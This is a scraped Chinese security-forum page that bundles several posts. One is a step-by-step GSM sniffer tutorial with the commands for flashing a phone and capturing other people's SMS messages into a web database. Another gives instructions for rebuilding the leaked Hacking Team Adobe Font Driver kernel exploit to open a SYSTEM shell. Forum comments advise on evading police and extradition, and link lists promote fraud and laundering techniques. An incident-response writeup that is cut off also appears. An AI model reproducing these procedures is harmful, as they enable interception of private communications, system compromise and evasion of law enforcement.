2015年7月15日，温州市中级人民法院作出终审判决，王一波因破坏计算机系统等罪名，被判处有期徒刑12年，剥夺政治权利2年。
网络安全关系到国家安全，也关系我们每个人。在今年7月1号开始实施的《国家安全法》中就明确，维护国家安全的任务之一就是“防范、制止和依法惩治网络攻击、网络入侵、网络窃密、散布违法有害信息等网络违法犯罪行为”。危害国家安全，违法必被究。国家安全，也需要人人维护，才能创造一个稳定的生活和发展环境。
犀利吐槽：
26#
newline (我只相信狭路相逢勇者胜) | 2015-08-04 23:20
这种性质的一般都是省级督办,即使最后他没有承认，也可以0口供定罪，而且很有可能判的不止12年。。 要是你犯的是小事， 黑个网站，没有损害到人家核心利益， 咬死不承认， 撑个一两天就可以走人了， 这种警察也不想跟你耗，前提是你跟警察没有私仇。 意思是该不该承认要看案件的大小， 要是在美国， 警方取不到你的完整口供，只有证据也是无法定罪的。这就是法治和法制的区别。。 其实那个警察也不是完全在骗他，一部分属于私心，另外一部分是真的对他好。 私心是， 警察小弟取到了证据， 会受到重用， 警察老大完成了从案件的成立-侦察-证据搜集-侦破-移送起诉完整流程之后， 他首先会受到上层嘉奖，也不排除集体记功。 对他好的是， 这种案子不看过程只看后果， 涉及到邪教一直都是从严从重， 你要低头认错有关部门的老大看到后有可能会给你减个一两年。 他好象今年40多了， 出来也得五六十了， 活了半辈子的人还能被人当成棋子。。 真是日了人了。。
30#
safe121 (www.safe121.com重開【???????????????????????????】回收懸賞帖金幣，收40%服務費) | 2015-08-05 23:27
都去了國外還回國幹錘子
NDS還是外企。。現在歸屬於cisco了
NDS is now part of Cisco
Cisco and NDS will transform how service providers and media companies deliver next-generation video experiences to consumers worldwide.
日國內站還是去偉大的朝鮮才好，直接用當地3g網卡，帶個筆記本。
中國人在朝鮮用埃及的信號（高麗通信走埃及信號）和IP日中國站。看他怎麼查？
31#
newline (我只相信狭路相逢勇者胜) | 2015-08-06 02:39
@safe121 你错了， 可以推演一下， 发展到恶性后果， 负责你案子的应该是什么部门 ，如果省级以下， 你跑到香港直接用香港的酒店网络连个VPN啥事没有， 如果省级以上， 首先要跑到和中国没有签定引渡协议的国家， 如果可以找到当地政府人士保护就想办法通过自己的方式支持该人， 如果找不到只要谴责声明一发一样被遣返，时间问题而已。 如果运气好， 找到了政府官员保护， 该国又是和中国存在纠纷国家， 你以为就太平了吗？ 又错了， 海外执法队不知道你听说过没有。。。 运气好可以留下全尸。 再说， 跑到朝鲜， 是什么后果？运气不好， 人家嫌麻烦， 就直接毙了， 国内问起来就说这家伙拒捕伤人抗拒执法， 不了了之。 运气好， 敲碎膝盖骨，铁丝把两条腿串一起， 两个人民军士兵押送边防再移交负责部门。
相关内容：
简单获取CDN背后网站的真实IP，CDN逆向，反向跟踪网站真实IP
JSON探针—定位目标网络虚拟信息身份，利用大量三方网站cookie进行追踪
社会工程学追踪 妻子花6万挖出小三 给60多个号充话费锁定4人
逆向追踪一起针对国内企业OA系统精心策划的大规模钓鱼攻击事件
论匿名转帐和转移资产的可能，如何：网络匿迹、匿名洗钱、转移资产系统
跨行、跨省银行卡间转账不用手续费？利用支付宝为什么不收手续费？
APT攻击：境外间谍“飞哥”假扮女网友策反境内人员 窃取中国军事秘密
多层代理下解决链路低延迟的技巧，多层代理网络匿迹，反追踪，隐藏、保护自己
基于Wordpress Pingback的反追踪思路？木马远控通过“代理”上线？
揭露一个飞机退改签的诈骗：借口机票退改签要退款，索要银行卡号，套取个人信息
一起网络诈骗案的风险揭示，套取用户信息、信用卡、支付宝、快捷支付洗钱
如何在网络中隐藏自己？再论拨了国外VPN代理，是否可被逆向追踪？
江西男子克隆国外银行卡刷513万 给两任女友395万 跨境盗刷信用卡
支付宝/淘宝帐号无需密码登录任意帐号，随意查看用户资料/交易记录/转账洗钱
个人认为微信支付存在的安全问题，同一银行卡多重绑定，恶意盗刷
关于3G流量上网卡！（匿名上网），隐藏自己、网络匿迹、保护自己
浅谈社工，欢迎讨论、补充，各种猥琐社工、人肉技巧，物理社工、人肉
【TED】Markham Nolan：如何辨别网上信息真伪，神级人肉，物理社工
俄罗斯黑客被曝潜伏Facebook，搭建蜜罐监视tor网络数据
保护水表：关于tor和mac地址的疑问，各位进来讨论一下，反追踪/匿迹
XX域名商实战，社工客服妹妹，毫不费力拿到目标公司内部通讯录
探秘时刻：多重身份的逃犯，不翼而飞的七百万，几百买身份证一票弄了700万
由“正方”jiam、jiemi之逆向思及Base64之逆编码表
您的工商银行电子密码器将于次日失效？伪基站垃圾短信，网银钓鱼诈骗！
朋友点开一个文件给骗30万，一种“高级”QQ诈骗骗术，远控电脑诈骗
关于伪基站的一些问题：信号覆盖范围？设备成本？是否违法？教程资料？
伪基站是怎么定位的呢？定位并抓捕伪基站、圈地短信、垃圾短信犯罪团伙！
【防骗】又见网银诈骗，骗子冒充朋友，借口卡丢了先借你卡转账用用，揭秘！
全方位在互联网中保护自己第七章（上网习惯以及计算机唯一代码追踪的防范）
京东 淘宝 天猫订单信息泄露诈骗, 接到“京东”的客服电话之后遭遇团伙诈骗
金融改革记录片(97% Owned)－97%被私人银行占据的无中生有债务货币
【略狗血】一种结合本地程序的更加猥琐的钓鱼方式（中招率+100%）
逆向追踪之：通过QQ群里的图片逆向入侵，拿了几个phpddos的脚本
娱乐贴：打击网络诈骗 - 骗子骗钱反被骗 - 发个骗子的手法，其实还是时时彩
全方位在互联网中保护自己第六章（国产软件或后门软件的替代品(下)）
全方位在互联网中保护自己第三章（知识普及篇—了解网监的实力与暗箭（下）
简单分析丝绸之路创始人如何被抓，FBI真的能透过TOR获取真实IP么？
全方位在互联网中保护自己第五章（国产软件或后门软件的替代品(中)）
全方位在互联网中保护自己第四章（国产软件或后门软件的替代品(上)）
全方位在互联网中保护自己第二章(知识普及篇第二章-了解网监的实力与暗箭(上))
求黑产大牛目测，一位妹纸的亲身经历，身份证号+手机号洗你银行卡
如何用意念获取附近美女的手机号码，伪装免费CMCC信号，钓鱼妹子手机号码
银行卡里钱莫名其妙被转走了，有身份证号码、姓名、银行卡号就能提款？
注意，日站的时候请清理cookie或使用虚拟机，否则可被cookie追踪
现在傻逼太多，骗人太好骗，淘宝搜剑灵激活码，好多10几块钱的骗子
为抓小偷 俄警方在地铁安装能读取乘客手机信息的设备，这是啥技术？
一种巨猥琐的挂马方法、超淫荡的APT攻击思路：如果这么挂马会不会挂进内网
分享下自己使用的保护方法篇章二（虚拟机模板环境设置） 连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置）连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置） 连载中...
超级短信DDOS 女生一天收上万条10086短信 还有近50万条等着她
R820T电视棒+软件无线电跟踪飞机飞行轨迹（SDR&ADS-B）
rtl-sdr,RTL2832+E4k tuner电视棒跟踪飞机轨迹 ADS-B/TCAS/SSR
rtl-sdr,RTL2832电视棒跟踪飞机轨迹教程(ADS-B), SDR GPS 飞机追踪
户外物理设备入侵之：入侵并“调教”中控指纹语音考勤系统(打卡机)
上来吐个槽，再次侦破一宗牵扯到全国多个大型医疗集团的恶性案件！
再次遭遇 GoTop 挂机刷钱“病毒”，逆向爆菊，追踪背后“牧马人”
GNU Radio USRP OpenBTS 小区短信 区域短信
一种牛逼的短信群发技术 GNU Radio 小区短信 区域短信 免费发 无法拦截
【传奇】看职业骗子如何揭发谷歌广告服务的不法活动，谷歌5亿美元和解费
上海伊莱美医院被黑、黑帽SEO做淘宝客，核总深入追查，揪出内鬼！
360对你真的起作用了吗？bypass....分析支付宝网银木马，反爆菊花
淘宝又见好东西，低价格钓鱼几个倒霉蛋骗到手大额的款项，跑路、关店
核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程！
中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人
追查黑客姓名,邮箱,支付宝信息，惊现大规模僵尸网络，要求警方介入处理！
服务器被入侵之后，反爆1433抓鸡黑客菊花，并公布大量黑阔账号密码
公告：关于前两天本站无法打开的原因 + GFW拦截规则原理剖析
Inception能入侵全盘加密的计算机，修改物理机器内存/任意密码进入
android 延迟锁定bug，安卓手机锁破解，屏幕解锁保护
关于X卧底的通话监听、短信记录、定位追踪等侵犯隐私的行为讨论
远程入侵QQ好友所在网吧监控系统，人脸识别、定位坐标，定点打击
追踪PlugX Rat作者，人肉定向攻击远控PlugX开发者
视频:神奇的读心大师 网上有你的整个人生 利用社工+人肉来做神棍……
《魔兽世界》截屏数据水印惊现用户私人数据 截图隐藏水印 暗含玩家信息
简单分析一个通过 js 劫持进行黑帽 SEO 做淘宝客的案例
iPhone 短信欺骗漏洞攻击器、伪造短信号码工具、伪装发件人攻击器
Never trust SMS: iOS text spoofing，永远不要相信短信：iOS的文字欺骗
iPhone 短信欺骗漏洞披露，伪造短信号码、自定义短信手机号
找出 GFW 在 Internet 的位置、追踪 GFW 在互联网中的位置
德安全专家破解GSM加密算法 GSM网络破解 监听全球40亿部手机
非法获取百度推广账号 实施网络诈骗 篡改百度推广 市民被骗财
黑客在Defcon建立私人电话网络 - DEFCON 忍者 GSM 网络
【需翻墙】网监如何爆菊？网警是如何通过层层VPN加密代理找到你的！
刷下“拉卡拉”卡里2万多块钱丢了，复制银行卡，POS机、刷卡黑客
华裔黑客 BITcrash44 凭借一台 iPhone4 拿下时代广场大屏幕
视频：国外黑客利用一部诺基亚N95手机入侵火车站电子屏，并且现场直播
利用电磁波进行入侵、原子级的黑客入侵、利用电磁波毁坏物理设备
电信诈骗，电话营销，一响挂电话，推销平安、人寿保险，冒充朋友
电视机会收到邻居游戏机画面？小霸王信号干扰？红白机功率这么强悍？
任何一种装机量巨大的软件，都有政府监控模块，我们应该如何保护自己？
Tabnapping 浏览器标签劫持 用假冒浏览器标签进行钓鱼攻击
用黑客方式找回失窃的电脑 - GSM基站定位 - Wifi热点定位
不要偷黑客的东西 - Why you don't steal from a hacker
【分析】腾讯独立域名QQ空间被钓鱼，腾讯官网被黑，被植入钓鱼页面！
台两15岁少年开淫窟 骗12名少女为“爱”卖身 月进300万元
【公告】警惕名为:Nuclear'Atk. QQ:424244818 冒充本人的骗子黑客
DRDoS 反弹DDoS攻击 反弹DDoS攻击 力度远大于分布式DDOS攻击
留言评论（旧系统）：
佚名 @ 2015-08-11 22:08:32
海外执法队是个毛。。。 在外面拖时间花半年和几万块买个圣基茨和尼维斯的护照过去可以躲么
本站回复：
没被人间蒸发么？-_-!!!
佚名 @ 2015-12-13 20:37:21
此专案组长为ga部副部长
本站回复：
你懂的……
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-07-31 16:24:44
GSM Sniffer WEB界面搭建测试
三好学生 | 2015-07-29 12:00
0x00 前言
感谢一只猿、le4f提供资料，极大缩短学习时间。
初学GSM Sniffer，本文记录全部学习测试过程。
0x01 参考资料
http://www.92ez.com/?action=show&id=1
http://92ez.com/py/
ttp://jingyan.baidu.com/article/9113f81b24aa9a2b3214c721.html
http://blog.csdn.net/zhaozhanyong/article/details/45888383
0x02 测试环境
1.c118摩托罗拉手机（淘宝购买￥25）
2.c118刷机线（淘宝购买￥25）
3.kali linux
0x03 测试过程
一、建立Arm代码的编译环境，默认目录在Root下，依次执行如下命令：
sudo apt-get install build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev libpcsclite-dev zlibc zlib1g-dev libmpfr4 libmpc-dev mkdir armtoolchain cd armtoolchain/ wget http://bb.osmocom.org/trac/raw-attachment/wiki/GnuArmToolchain/gnu-arm-build.2.sh mkdir build install src cd src wget http://ftp.gnu.org/gnu/gcc/gcc-4.5.2/gcc-4.5.2.tar.bz2 wget http://ftp.gnu.org/gnu/binutils/binutils-2.21.1a.tar.bz2 wget ftp://sources.redhat.com/pub/newlib/newlib-1.19.0.tar.gz cd .. ./gnu-arm-build.2.sh
然后看到提示
Press ^C now if you do NOT want to do this.
回车，然后漫长地等待后，接着把路径加入系统变量，执行如下命令：
echo "export PATH=\$PATH:/root/armtoolchain/install/bin">>/root/.bashrc source /root/.bashrc
二、下载osmocombb源码进行编译，依次执行如下命令：
cd ~ git clone git://git.osmocom.org/osmocom-bb.git git clone git://git.osmocom.org/libosmocore.git cd ~/libosmocore sudo apt-get install autoconf automake libtool autoreconf -i ./configure make sudo make install cd ~/osmocom-bb git checkout --track origin/luca/gsmmap cd src make
三、刷机
1、C118连接kali linux
将C118手机关机，连接刷机线，连接kali linux
连接后，执行lsusb命令查看USB设备，出现CP210x说明已被识别，如图1：
此过程最容易出现的问题是接线不牢，无法刷机
*判断是否连接正常的小方法：
如果正常连接，会听到手机发出嗡嗡的声音（至少我的这台c118是这种情况）
2、开始刷机
在听到手机发出嗡嗡的声音后，
执行如下命令：
cd ~/osmocom-bb/src/host/osmocon/ ./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin
然后轻轻按一下手机的挂机键，出现如下效果图且手机屏幕显示Layer1字样则说明刷机成功，否则请检查刷机现是否插牢，接线顺序是否有错等。
*注：
轻按一下就好，不是长按开机
如图2、3
四、sniffer阶段
1、扫描基站：
cd armtoolchain/osmocom-bb/src/host/layer23/src/misc/ ./cell_log -O
选择一个基站编号（ARFCN），绝对值越小，代表信号越好
2、开始监听
新开窗口：
cd armtoolchain/osmocom-bb/src/host/layer23/src/misc/ ./ccch_scan -i 127.0.0.1 -a 基站编号
3、抓包分析
wireshark -k -i lo -f 'port 4729'
在wireshark界面的Filter中输入gsm_sms拦截短信，TP-User-Data即为短信内容
*sniffer内容介绍用来了解原理，WEB界面搭建可跳过这个步骤
五、WEB界面搭建
1、下载web界面程序
下载http://92ez.com/py/中的文件
getusb.sh、
m.py、
smshack_nosql.py、
smshack.sql
以上4个文件放在root文件夹下
sms_web文件夹复制到/var/www/下
2、安装phpadmin
sudo apt-get install phpmyadmin cd /var/www/ sudo ln -s /usr/share/phpmyadmin phpmyadmin
按提示配置MySql数据库
3、导入数据库
打开浏览器，输入http://localhost/phpadmin
通过界面导入smshack.sql
4、修改m.py设置登陆MySql的用户名密码、数据库名称
与配置phpadmin时提示的user、password对应
db为数据库名称，填smshack就好
5、执行
python m.py
按提示操作
6、访问界面
浏览器访问http://localhost/sms_web
0x04 小结
以上是基于一只猿分享的资料进行测试，共耗时一天，个人体会：易于上手，难于精通
相关内容：
号称不会被查水表的通信APP-Telegram，悬赏20万美元求漏洞
讨论：如何在网络上保护个人隐私？互联网时代的隐私泄露与安全保护？
JSON探针—定位目标网络虚拟信息身份，利用大量三方网站cookie进行追踪
WiFi流量劫持：网站JS脚本缓存投毒！长期控制！浏览任意页面即可中毒！
社会工程学追踪 妻子花6万挖出小三 给60多个号充话费锁定4人
逆向追踪一起针对国内企业OA系统精心策划的大规模钓鱼攻击事件
论匿名转帐和转移资产的可能，如何：网络匿迹、匿名洗钱、转移资产系统
跨行、跨省银行卡间转账不用手续费？利用支付宝为什么不收手续费？
Discuz 爆破无视验证码，PHP 调用社工库暴破 Discuz 论坛账户脚本
现实生活中的社工：批量搞同学校里妹子QQ、手机等信息，伪装老师套学生信息
伪装快递打电话社工地址，我这样用手机社目标住址大家觉得可行吗？
移动"4G"卡所带来的威胁，随便补办别人手机卡？4G换卡补办别人手机号？
中航信系统漏洞泄露乘客信息，查询任意航班乘机人姓名,航班号,身份证,手机号
移动电源内置窃听器，在淘宝上买的充电宝内置远程定位、监听硬件后门！
APT攻击：境外间谍“飞哥”假扮女网友策反境内人员 窃取中国军事秘密
Angry Birds和广告系统泄露个人信息——FireEye对Angry Birds的分析
2014 最新 web qq 密码的加密方式分析过程，WebQQ 登陆密码加密算法分析
小米手机客户资料泄露了吗？冒充小米售后回访诈骗电话：01053799231
使用WiFi真的有那么危险吗？安全科普：教你增强自己的无线网络安全
黑客讲故事:攻下隔壁女生路由器后,我都做了些什么,无线路由器被蹭网后,入侵女神
女黑客Oona，分析直升机现场拍摄警车追捕画面中的信号声，绘出飞机飞行轨迹
多层代理下解决链路低延迟的技巧，多层代理网络匿迹，反追踪，隐藏、保护自己
基于Wordpress Pingback的反追踪思路？木马远控通过“代理”上线？
发个社工福利站，搜库 - 密码泄露查询，社工库，泄露密码查询库
揭露一个飞机退改签的诈骗：借口机票退改签要退款，索要银行卡号，套取个人信息
一起网络诈骗案的风险揭示，套取用户信息、信用卡、支付宝、快捷支付洗钱
如何在网络中隐藏自己？再论拨了国外VPN代理，是否可被逆向追踪？
江西男子克隆国外银行卡刷513万 给两任女友395万 跨境盗刷信用卡
支付宝/淘宝帐号无需密码登录任意帐号，随意查看用户资料/交易记录/转账洗钱
个人认为微信支付存在的安全问题，同一银行卡多重绑定，恶意盗刷
关于3G流量上网卡！（匿名上网），隐藏自己、网络匿迹、保护自己
浅谈社工，欢迎讨论、补充，各种猥琐社工、人肉技巧，物理社工、人肉
【TED】Markham Nolan：如何辨别网上信息真伪，神级人肉，物理社工
探秘国际职业黑客：插U盘植入木马如同拍电影，做得上班族扮得007，社工大师
俄罗斯黑客被曝潜伏Facebook，搭建蜜罐监视tor网络数据
保护水表：关于tor和mac地址的疑问，各位进来讨论一下，反追踪/匿迹
XX域名商实战，社工客服妹妹，毫不费力拿到目标公司内部通讯录
探秘时刻：多重身份的逃犯，不翼而飞的七百万，几百买身份证一票弄了700万
由“正方”jiam、jiemi之逆向思及Base64之逆编码表
您的工商银行电子密码器将于次日失效？伪基站垃圾短信，网银钓鱼诈骗！
讨论一下，怎么才能社工到岛国AV女优的真实资料，例如：泷泽萝拉
关于伪基站的一些问题：信号覆盖范围？设备成本？是否违法？教程资料？
伪基站是怎么定位的呢？定位并抓捕伪基站、圈地短信、垃圾短信犯罪团伙！
【防骗】又见网银诈骗，骗子冒充朋友，借口卡丢了先借你卡转账用用，揭秘！
遇到一个加密方式 只有1和0 求大神告知，二进制字符串“加密”
全方位在互联网中保护自己第七章（上网习惯以及计算机唯一代码追踪的防范）
社工某黑阔大牛的域名，“脑残”客服，狗血 +10086！！！
京东 淘宝 天猫订单信息泄露诈骗, 接到“京东”的客服电话之后遭遇团伙诈骗
金融改革记录片(97% Owned)－97%被私人银行占据的无中生有债务货币
逆向追踪之：通过QQ群里的图片逆向入侵，拿了几个phpddos的脚本
娱乐贴：打击网络诈骗 - 骗子骗钱反被骗 - 发个骗子的手法，其实还是时时彩
全方位在互联网中保护自己第六章（国产软件或后门软件的替代品(下)）
全方位在互联网中保护自己第三章（知识普及篇—了解网监的实力与暗箭（下）
全方位在互联网中保护自己第五章（国产软件或后门软件的替代品(中)）
全方位在互联网中保护自己第四章（国产软件或后门软件的替代品(上)）
全方位在互联网中保护自己第二章(知识普及篇第二章-了解网监的实力与暗箭(上))
求黑产大牛目测，一位妹纸的亲身经历，身份证号+手机号洗你银行卡
如何用意念获取附近美女的手机号码，伪装免费CMCC信号，钓鱼妹子手机号码
银行卡里钱莫名其妙被转走了，有身份证号码、姓名、银行卡号就能提款？
在申诉中猜想QQ密码可能明文储存，讨论腾讯申诉“历史密码”机制
注意，日站的时候请清理cookie或使用虚拟机，否则可被cookie追踪
“联通3G无限 流量卡”淘宝上这种无限流量的卡可信度有多少？
为抓小偷 俄警方在地铁安装能读取乘客手机信息的设备，这是啥技术？
一种巨猥琐的挂马方法、超淫荡的APT攻击思路：如果这么挂马会不会挂进内网
(视频）USRP 来 Sniffing 无线键盘，27Mhz keyboard sniffing
腾讯泄露隐私？看卫士哥获得女神的好友的名单，社工可能认识的人！
全面披露华硕十款无线路由器 - AiCloud启用单位的多个漏洞
超级短信DDOS 女生一天收上万条10086短信 还有近50万条等着她
R820T电视棒+软件无线电跟踪飞机飞行轨迹（SDR&ADS-B）
rtl-sdr,RTL2832+E4k tuner电视棒跟踪飞机轨迹 ADS-B/TCAS/SSR
rtl-sdr,RTL2832电视棒跟踪飞机轨迹教程(ADS-B), SDR GPS 飞机追踪
视频: Dtac：将宠物变成了WiFi热点，泰国运营商将宠物变成WiFi热点
户外物理设备入侵之：入侵并“调教”中控指纹语音考勤系统(打卡机)
上来吐个槽，再次侦破一宗牵扯到全国多个大型医疗集团的恶性案件！
再次遭遇 GoTop 挂机刷钱“病毒”，逆向爆菊，追踪背后“牧马人”
GNU Radio USRP OpenBTS 小区短信 区域短信
一种牛逼的短信群发技术 GNU Radio 小区短信 区域短信 免费发 无法拦截
如何抵御社工库类的黑客攻击？在明文密码已泄露的情况下保护自己？
上海伊莱美医院被黑、黑帽SEO做淘宝客，核总深入追查，揪出内鬼！
360对你真的起作用了吗？bypass....分析支付宝网银木马，反爆菊花
周末湖边 Sniffing ADS-B，Hack 私人小型机场
淘宝又见好东西，低价格钓鱼几个倒霉蛋骗到手大额的款项，跑路、关店
核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程！
中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人
追查黑客姓名,邮箱,支付宝信息，惊现大规模僵尸网络，要求警方介入处理！
服务器被入侵之后，反爆1433抓鸡黑客菊花，并公布大量黑阔账号密码
Base64 格式的密文，Base64 方式的 MD5 密匙，一些编码知识
Inception能入侵全盘加密的计算机，修改物理机器内存/任意密码进入
android软件外加监控，隐私安全？！爆个一键root内幕！
关于X卧底的通话监听、短信记录、定位追踪等侵犯隐私的行为讨论
远程入侵QQ好友所在网吧监控系统，人脸识别、定位坐标，定点打击
追踪PlugX Rat作者，人肉定向攻击远控PlugX开发者
dSploit—Android网络渗透套件测试小记（含视频）
实时抓取移动设备上的通信包(ADVsock2pipe+Wireshark+nc+tcpdump)
武汉公安开发尖端人像识别系统 可瞬间辨认嫌疑人 全国摄像头寻人
可能的拦截HTTPS加密通信的手段 破解Google Gmail的https新思路
视频:神奇的读心大师 网上有你的整个人生 利用社工+人肉来做神棍……
视频:神奇的读心大师 网上有你的整个人生 利用社工+人肉来做神棍……
Flightradar24 网站“直播”天上“堵飞机” 看全球实时航班
《魔兽世界》截屏数据水印惊现用户私人数据 截图隐藏水印 暗含玩家信息
简单分析一个通过 js 劫持进行黑帽 SEO 做淘宝客的案例
iPhone 短信欺骗漏洞攻击器、伪造短信号码工具、伪装发件人攻击器
Never trust SMS: iOS text spoofing，永远不要相信短信：iOS的文字欺骗
iPhone 短信欺骗漏洞披露，伪造短信号码、自定义短信手机号
找出 GFW 在 Internet 的位置、追踪 GFW 在互联网中的位置
德安全专家破解GSM加密算法 GSM网络破解 监听全球40亿部手机
黑客在Defcon建立私人电话网络 - DEFCON 忍者 GSM 网络
【需翻墙】网监如何爆菊？网警是如何通过层层VPN加密代理找到你的！
善用网站权限设置 莫让社交变“裸奔” 社交网络诱人沉迷 病态的自恋
802.11b 无线网络固件级攻击、802.11b Firmware-Level Attacks
如何加载 VMware Workstation v8.0.1 加密过的虚拟磁盘文件(vmdk)
手机全息投影、初音、Miku、立体投影，制作方法已放出，图文+视频
刷下“拉卡拉”卡里2万多块钱丢了，复制银行卡，POS机、刷卡黑客
华裔黑客 BITcrash44 凭借一台 iPhone4 拿下时代广场大屏幕
视频：国外黑客利用一部诺基亚N95手机入侵火车站电子屏，并且现场直播
利用电磁波进行入侵、原子级的黑客入侵、利用电磁波毁坏物理设备
电视机会收到邻居游戏机画面？小霸王信号干扰？红白机功率这么强悍？
任何一种装机量巨大的软件，都有政府监控模块，我们应该如何保护自己？
Mydecms 贤诚文章管理系统泄露数据库账号、密码、库名漏洞
惊爆“17岁少女黑客 fly”高清无码裸照！！这下你真的火了！！！
用 js 实现本地 md4、md5、sha1 加密表单并提交
视频:鬼佬的室内四轴定位系统，震惊，飞机模型能玩到如此地步！
目前我认为是2011密码泄露事件最合理、最符合实际的一个解释
Tabnapping 浏览器标签劫持 用假冒浏览器标签进行钓鱼攻击
用黑客方式找回失窃的电脑 - GSM基站定位 - Wifi热点定位
不要偷黑客的东西 - Why you don't steal from a hacker
【分析】腾讯独立域名QQ空间被钓鱼，腾讯官网被黑，被植入钓鱼页面！
国内各类 WebShell 密码大全 爆破、社工用 webshell-password
VB Html编码、Html解码、Html加密、Html解密、Html转义字符
索尼承认1000万信用卡资料遭盗窃 索尼PSN数据被黑激怒全球客户
1479_26C3.Karsten.Nohl.GSM.pdf
留言评论（旧系统）：
佚名 @ 2015-08-31 12:10:46
核大大我测试了下，请问这个错误怎么解决？ http://7xkuze.com1.z0.glb.clouddn.com/QQ图片20150831121052.png
本站回复：
这个不太清楚。
佚名 @ 2015-09-13 20:43:55
同问 跟楼上遇到了同样的问题
本站回复：
不清楚。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-07-15 14:23:24
Hacking Team Adobe Font Driver 提权 快速利用介绍
三好学生 | 2015-07-15 11:22
0x00 目标
利用Hacking Team 的Adobe Font Driver内核漏洞代码，重新编译，获得系统权限。
0x01 测试环境
Windows 7 (32-bit)
0x02 样本分析
已知成功环境：
WindowsXP~Windows 8.1，X86和X64
0x03 样本测试
无
0x04 简单修改
此处举例说明如何修改source_pie_7：
1、下载代码
http://ht.transparencytoolkit.org/gitlab/Windows-Multi-Browser/2_stage_shellcode_source/
2、搭建开发环境
安装lcc.exe
3、修改文件
进入source_pie_7文件夹
编辑elevator.c:
去掉#include "font.h"（减小文件体积）
编辑loader.c:
添加#include "font.h"（添加字体文件）
L104 calc改为cmd（执行calc改为cmd）
在void Loader()第三行插入memcpy(pVtable.lpLoaderConfig->foofont,foofont,755256);（赋值）
4、编译
compile.bat写入如下代码,运行后生成elevator.exe
c:\lcc\bin\lcc.exe -c elevator.c
c:\lcc\bin\lcc.exe -c loader.c
c:\lcc\bin\lcclnk.exe -subsystem console -o elevator.exe elevator.obj loader.obj wtsapi32.lib crypt32.lib wininet.lib
del elevator.obj elevator.exp elevator.lib
del loader.obj loader.exp loader.lib
5、测试
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-07-15 14:23:24
某某某局入侵事件分析
鬼魅羊羔 ((#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵) | 2015-07-15 09:59
其实是去年年底的事儿，最近又琢磨起这个病毒了，就想起来之前写的报告了，贴出来大家一起研究研究哈。。。
再不冒泡，估计会被剑心踢出去的。。。。
1 事件原因：
2014年12月23日，接到某市公安局电话，告知该市公安局公安网内部某重要数据库被篡改，需要协助进行分析取证。
12月24日早晨紧急赶到该市公安局，该单位负责人组织相关人员开会，简单的说明了下事件情况和特殊性，原来遭到篡改的数据库服务器，是存放XX信息的重要数据库，在发现入侵后，管理员第一时间备份了数据库的访问记录，数据库日志情况大致如下：
根据数据库日志显示，IP地址为10.xx.80.24客户端（PC机拥有人：张XX），在11月30日晚上11时左右到12月1日凌晨，连接了数据库，并删除了敏感数据，而且从该PC机日志中发现，10.xx.80.20服务器(一个考试服务器)曾经连接过该管理员PC，据此进行调查取证，过程如下：
注：10.xx.80.20为内网服务器，只提供单位内工作人员内部考核的功能，不提供外网服务。
2 取证过程：
一、25日上午到达机房进行询问和了解情况，当日下午16时左右，发现10.xx.80.20服务器日志被清除，从服务器上进行查看，发现日志与当日中午13时左右被清理，且在该服务器中发现大量黑客提权工具（cmd.exe、wsvr.exe等），以及ASP脚本网页木马等恶意文件和程序，据此判断，该服务器已经被入侵过，在检查中发现，网站IIS日志被删除，因此无法查到来源，根据25日上午在服务器中查看系统日志中发现，有大量IP地址曾尝试连接10.xx.80.20服务器，经过IP地址摸排，大部分IP地址均为服务器部分IP涉及个人PC电脑，根据线索，对所有的服务器进行了一次查看，发现所有服务器都有攻击行为记录，且相互攻击，进行弱口令扫描，关系图如下：
简单点说：比如管理员主机为A，10.xx.80.20主机为B，在管理员A主机日志中发现了B主机的大量尝试登陆信息，然后去B主机那查，发现以前的日志不见了，最新的日志里有C、D、E等N个个人PC和服务器登陆B主机的行为，然后挨个摸排C、D、E这些主机，在这些主机里又发现了A和B的攻击记录，总之很乱套……摸排下来，产生过攻击行为的服务器加个人主机，至少40多台。。。。。
而且，你会在A服务器中，发现B服务器的登陆记录，而B服务器登陆A服务器时采用的账户名，是B服务器独有的，其他服务器也类似……好吧，说不清楚了，我下面详细说吧- -
根据如上关系图，初步认为有大量主机被控制，对内网主机进行扫描。
下图为10.xx.80.20服务器部分日志截图：证明有服务器尝试破解管理员账户口令，疑似已经沦为肉鸡。
注：这是初步认为，但是后来我发现，自己想的太简单了。。。。。
并且在该服务器中，发现大量的尝试登陆信息，用户名皆为ANONYMOUS LOGON，如下图：
当我接入个人PC在该网络内的时候，发现自己的电脑日志里也出现了N多的尝试登陆信息，用户名皆为ANONYMOUS LOGON，而虚拟机也有该问题，虚拟机还跟自己不是一个网段，用的是VM1网卡。
我开始怀疑，这个攻击来源，是来自于网络内部，而且还在持续攻击着。
在对整个网络服务器进行排查的时候，发现某个服务器，任务计划中有一项可疑的任务计划，如下图：
正当我准备点击该任务计划，查看详情的时候，该任务计划忽然消失了。根据以往的经验，该任务计划肯定不是管理员自助创建的，理由有二：
1).任务计划中，At字母开头的，是代表后台进程执行后所产生的任务计划，也就是说，是通过命令行的方式进行创建出来的；
